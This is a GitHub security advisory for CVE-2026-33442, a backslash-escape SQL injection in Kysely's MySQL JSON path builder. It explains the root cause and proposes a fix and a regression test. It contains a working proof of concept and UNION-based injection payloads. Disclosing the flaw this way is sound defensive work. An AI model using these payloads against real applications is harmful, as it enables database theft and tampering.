GitHub Advisoryadvisory · npm
GHSA-fr9j-6mvq-frcv Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.
HIGH
Official page ↗
- Aliases
- CVE-2026-33442
- Ecosystem
- npm
- Packages
- kysely
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2026-03-20
Affected packages
• npm kysely: >= 0.28.12, < 0.28.14 → fixed in 0.28.14
Description
Summary
The `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.
Details
When a user calls `.key(value)` on a JSON path builder, the value flows through:
1. `JSONPathBuilder.key(key)` at `src/query-builder/json-path-builder.ts:166` stores the key as a `JSONPathLegNode` with type `'Member'`.
2. During compilation, `DefaultQueryCompiler.visitJSONPath()` at `src/query-compiler/default-query-compiler.ts:1609` wraps the full path in single quotes (`'$...'`).
3. `DefaultQueryCompiler.visitJSONPathLeg()` at `src/query-compiler/default-query-compiler.ts:1623` calls `sanitizeStringLiteral(node.value)` for string values (line 1630).
4. `sanitizeStringLiteral()` at `src/query-compiler/default-query-compiler.ts:1819-1821` only doubles single quotes:
```typescript
// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g
// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''")
}
```
The `MysqlQueryCompiler` does not override `sanitizeStringLiteral` — it only overrides `sanitizeIdentifier` for backtick escaping.
The bypass mechanism:
In MySQL's default `BACKSLASH_ESCAPES` mode, `\'` inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input `\' OR 1=1 --`:
1. `sanitizeStringLiteral` sees the `'` and doubles it: `\'' OR 1=1 --`
2. The full compiled path becomes: `'$.\'' OR 1=1 --'`
3. MySQL parses `\'` as an escaped quote character (consuming the first `'` of the doubled pair)
4. The second `'` now terminates the string literal
5. ` OR 1=1 --` is parsed as SQL, achieving injection
The existing test at `test/node/src/sql-injection.test.ts:61-83` only tests single-quote injection (`first' as ...`), which the `''` doubling correctly prevents. It does not test the backslash bypass vector.
PoC
```javascript
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
const db = new Kysely({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
user: 'root',
password: 'password',
database: 'testdb',
}),
}),
})
// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
id INT PRIMARY KEY AUTO_INCREMENT,
data JSON
)`.execute(db)
await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)
// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never
const query = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key(userInput as never).as('result')
)
console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal
const results = await query.execute()
console.log(results) // Returns injected query results
```
Simplified verification of the bypass mechanics:
```javascript
const { Kysely, MysqlDialect } = require('kysely')
// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
)
.compile()
console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
// ^^ MySQL sees this as escaped quote
// ^ This quote now terminates the string
// ^^^^^^^^^^^ Injected SQL
```
Note: PostgreSQL is unaffected because `standard_conforming_strings=on` (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default `BACKSLASH_ESCAPES` mode are vulnerable.
Impact
• SQL Injection: An attacker who can control values passed to the `.key()` JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.
• Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.
• Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via `multipleStatements: true`) or subquery-based injection can modify or delete data.
• Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.
• Scope: Any application using Kysely with MySQL that passes user-controlled input to `.key()`, `.at()`, or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.
Recommended Fix
Escape backslashes in addition to single quotes in `sanitizeStringLiteral`. This neutralizes the bypass in MySQL's `BACKSLASH_ESCAPES` mode:
```typescript
// src/query-compiler/default-query-compiler.ts
// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g
// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}
```
With this fix, the input `\' OR 1=1 --` becomes `\\'' OR 1=1 --`, where MySQL parses `\\` as a literal backslash, `''` as an escaped quote, and the string literal is never terminated.
Alternatively, the MySQL-specific compiler could override `sanitizeStringLiteral` to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:
```typescript
// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}
```
A corresponding test should be added to `test/node/src/sql-injection.test.ts`:
```typescript
it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
const injection = `\\' OR 1=1 -- ` as never
const query = ctx.db
.selectFrom('person')
.select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))
await ctx.db.executeQuery(query)
await assertDidNotDropTable(ctx, 'person')
})
```
Related
Alias · CVE (1)
- CVE-2026-33442 Kysely is a type-safe TypeScript SQL query builder. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness